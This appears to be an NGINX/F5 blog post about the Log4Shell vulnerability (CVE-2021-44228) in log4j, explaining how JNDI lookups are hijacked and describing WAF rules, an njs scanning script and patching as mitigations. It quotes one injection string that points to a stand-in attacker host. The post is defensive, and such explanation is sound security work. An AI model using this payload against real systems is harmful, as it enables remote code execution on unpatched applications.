Friday, December 10, 2021 is a date that will be remembered by many IT folks around the globe. It’s when a highly critical zero‑day vulnerability was found in the very popular logging library for Java applications, log4j. The name “Log4Shell” was quickly coined for the exploit, and companies of all sizes rushed to implement mitigation strategies. This was followed by a patching marathon which at the time of writing is still ongoing.
NGINX and F5 have analyzed the threat and in this post we offer various mitigation options to keep your applications protected.
What is Log4Shell?
Version 2.15 and earlier of the log4j library is vulnerable to the remote code execution (RCE) vulnerability described in CVE-2021-44228. (Version 2.16 of log4j patches the vulnerability.) Log4Shell is the name given to the exploit of this vulnerability. But what is the vulnerability and why is it so critical? As described in the CVE, the Apache log4j Java library does not properly validate input.
The Java Naming and Directory Interface (JNDI) feature of the log4j library and the Java runtime can be used to perform remote lookups to retrieve data from external sources – such as a username from LDAP or an IP address from DNS – for inclusion in a log entry. Unfortunately, remote attackers can hijack JNDI to execute Java code they have written. The following diagram illustrates the attack.
To exploit a vulnerable target, attackers must trick the application code into writing a log entry that includes a string such as ${jndi:ldap://evil.xa/x}. The interesting question is: where to put the string so it ends up in a log message? For many applications logging is essential and a lot of different information is logged about every incoming request, including HTTP headers like User-Agent and X-Forwarded-For, the URI, and the request body. There are many attack vectors, and as long as the string gets logged with log4j the application can be exploited.
Is NGINX Affected by This Vulnerability?
No. NGINX itself is not vulnerable to this exploit, because it is written in C and does not use Java or any Java‑based libraries. For the official response to CVE-2021-44228 for all F5 and NGINX products, see article K19026212 in the AskF5 Knowledge Base.
How Does NGINX Help to Mitigate the Exploit?
As mentioned above, an attacker must send the exploit string to the target application somewhere in the HTTP request. NGINX provides several tools for scanning incoming requests for indications of compromise (IOCs) and blocking them.
The most efficient way to block malicious requests is with a web application firewall (WAF). It scans every incoming request for indications of CVE-2021-44228 by comparing the request data against a set of precompiled rules. However, updating WAF rules after a zero‑day exploit is like an arms race. As soon as WAF rules are available for a given exploit, attackers look for techniques and patterns that can bypass the WAF. Be sure to keep your WAF rules up to date.
NGINX ModSecurity WAF
ModSecurity is an open source WAF, and also available as a commercial offering from NGINX, the NGINX ModSecurity WAF module for NGINX Plus. The OWASP ModSecurity Core Rule Set (CRS) includes an existing rule (932130) that can mitigate against Log4Shell. For further discussion about this solution and more advanced protection, see the CRS blog.
[Editor – NGINX ModSecurity WAF officially went End-of-Sale as of April 1, 2022 and is transitioning to End-of-Life effective March 31, 2024. For more details, see F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life on our blog.]
NGINX App Protect WAF
NGINX App Protect WAF is a modern app security solution. Based on continuing investigation of the threat and known WAF bypasses, we have updated the Server Side Code Injection Signature Set with new rules to effectively detect Log4Shell attacks. For more details, see the AskF5 Knowledge Base.
NGINX JavaScript Module
NGINX and NGINX Plus are widely deployed as a reverse proxy in front of many Java‑based applications. For users and customers without access to a WAF, we have created a script which uses the NGINX JavaScript Module (njs). The script scans HTTP headers, URIs, and request bodies in incoming requests, making use of known IOC strings as well as regular expressions to match input data and block malicious requests.
The njs script is available on GitHub. For instructions on installing the njs module, see the NGINX Plus Admin Guide.
Summary
The most effective solution to Log4Shell is to patch the application code with log4j version 2.16 or later, which disables JDNI. If that is not immediately possible, a WAF can effectively mitigate against the threat until you have time to apply the patch. If you don’t already have a WAF, you can use our njs script to implement specific protection against the threat. Use the resources below to learn more and select the most appropriate protection for your applications.
Resources
- CVE-2021-44228 – The official CVE
- Zero-Day Exploit Targeting Popular Java Library Log4j – A valuable overview of the vulnerability
- K19026212: Apache Log4j2 Remote Code Execution vulnerability CVE-2021-44228 – Official F5 response
- CRS and Log4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Set blog
- NGINX njs Request Inspection for CVE-2021-44228 – NGINX JavaScript mitigation solution
